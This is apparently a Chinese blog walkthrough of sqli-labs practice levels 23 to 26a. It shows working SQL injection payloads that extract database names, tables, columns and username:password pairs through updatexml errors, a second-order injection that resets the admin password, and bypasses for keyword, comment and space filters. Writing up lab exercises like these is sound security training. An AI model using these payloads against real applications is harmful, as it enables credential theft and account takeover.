Less-23

GET - Error based - strip comments

http://10.10.202.112/sqli/Less-23?id=1'

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-23\index.php on line 38
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1'' LIMIT 0,1' at line 1
闭合错误:
查看源码过滤掉了# --,因此只能单引号闭合

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

SELECT * FROM users WHERE id='$id' LIMIT 0,1

1' and '1'='1
http://10.10.202.112/sqli/Less-23?id=1'   and updatexml(null,concat(0x0a,(select version())),null) or '1'='1

http://10.10.202.112/sqli/Less-23?id=1'    and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) or '1'='1

username字段

http://10.10.202.112/sqli/Less-23?id=1'     and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x7573657273 limit 1,1)),null) or '1'='1

password字段

http://10.10.202.112/sqli/Less-23?id=1'     and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x7573657273 limit 2,1)),null) or '1'='1

获取数据

http://10.10.202.112/sqli/Less-23?id=1'    and updatexml(null,concat(0x0a,(select concat(username,0x7e,password) from users limit 0,1)),null) or '1'='1

Less-24

POST- Second Oder Injections *Real treat store injection

这里属于二次注入漏洞

使用:

username: admin'#

password: 123

此时:admin的密码被修改成123456

SQL语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

UPDATE users SET PASSWORD='123456' where username='admin'

Less-25

GET -Error based - All you OR & AND belong to us  - string single quote

看源码提示直接把 or、and过滤了,但是可以用&&、||绕过:

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

payload:

1'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

http://10.10.202.112/sqli/Less-25?id=1' oorrder by 3 -- -

http://10.10.202.112/sqli/Less-25?id=-1' union select 1,2,3 -- -

http://10.10.202.112/sqli/Less-25?id=-1' union select 1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 -- -

Less-25a

GET - Blind Based - All your OR & and belong to us-intiger based

次数也是过滤了or 和 AND 关键词:

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

采用双写绕过:

ORDER  BY 4---- OORRDER BY 4

判断列:

http://10.10.202.112/sqli/Less-25a?id=1  OORRDER BY 3 --+ #true

http://10.10.202.112/sqli/Less-25a?id=1  OORRDER BY 4 --+ #false

http://10.10.202.112/sqli/Less-25a?id=-1  +UNION+ALL+SELECT+1,2,3 --+

http://10.10.202.112/sqli/Less-25a?id=-1  +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 --+

Less-26

GET - Error based - All your SPACES and comment belong to us

题目提示空格与注释被过滤了,可以使用

%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)

绕过,可以盲注也可以报错注入

payload:

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-26a

GET - Blind Based - All your SPACES

提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注

http://10.10.202.112/sqli/Less-26a?id=1' #false

http://10.10.202.112/sqli/Less-26a?id=1' || '1'='1 #true

payload:

0'||left(database(),1)='s'%26%26'1'='1

http://10.10.202.112/sqli/Less-26a/?id=0'||left(database(),1)='s'%26%26'1'='1

待续!!!

点击赞赏二维码,您的支持将鼓励我继续创作!

最新文章

  1. python嵌套函数、闭包与decorator
  2. 解决Shiro注解无效的问题
  3. <HTML5和CSS3响应式WEB设计指南>译者序
  4. 如何查看mac系统是32位还是64位的操作系统
  5. bzoj 2599 数分治 点剖分
  6. 【pku2115-C Looooops】拓展欧几里得-不定方程
  7. laravel 框架 开源的cms推荐
  8. CSS自学笔记(2):CSS语法
  9. android水平循环滚动控件
  10. Hadoop Java Hdfs API
  11. 201521123068 《java程序设计》 第7周学习总结
  12. evak购物车--课程设计(201521123037邱晓娴)
  13. linux 写U盘出现的问题
  14. cross-env使用笔记
  15. mysql5.7.25安装
  16. scrapy-shell, settings
  17. git分散式版本管理系统,从安装到基本使用
  18. mybatis-generator 覆盖新增XML
  19. 远程登录oracle 12.2数据库报错ORA-28040解决办法
  20. git部署

热门文章

  1. Android框架之EventBus的使用
  2. layui获取checkbox复选框值
  3. Dockerfile语法简介
  4. 01 less的使用
  5. web之ics-06
  6. jmeter连接不上MySQL数据库的原因以及解决方法
  7. 题解:T103342 Problem A. 最近公共祖先
  8. 1130不允许连接到MySql server
  9. github上方便的小工具
  10. Debug 路漫漫-15:Python: NameError:name 'dataset' is not defined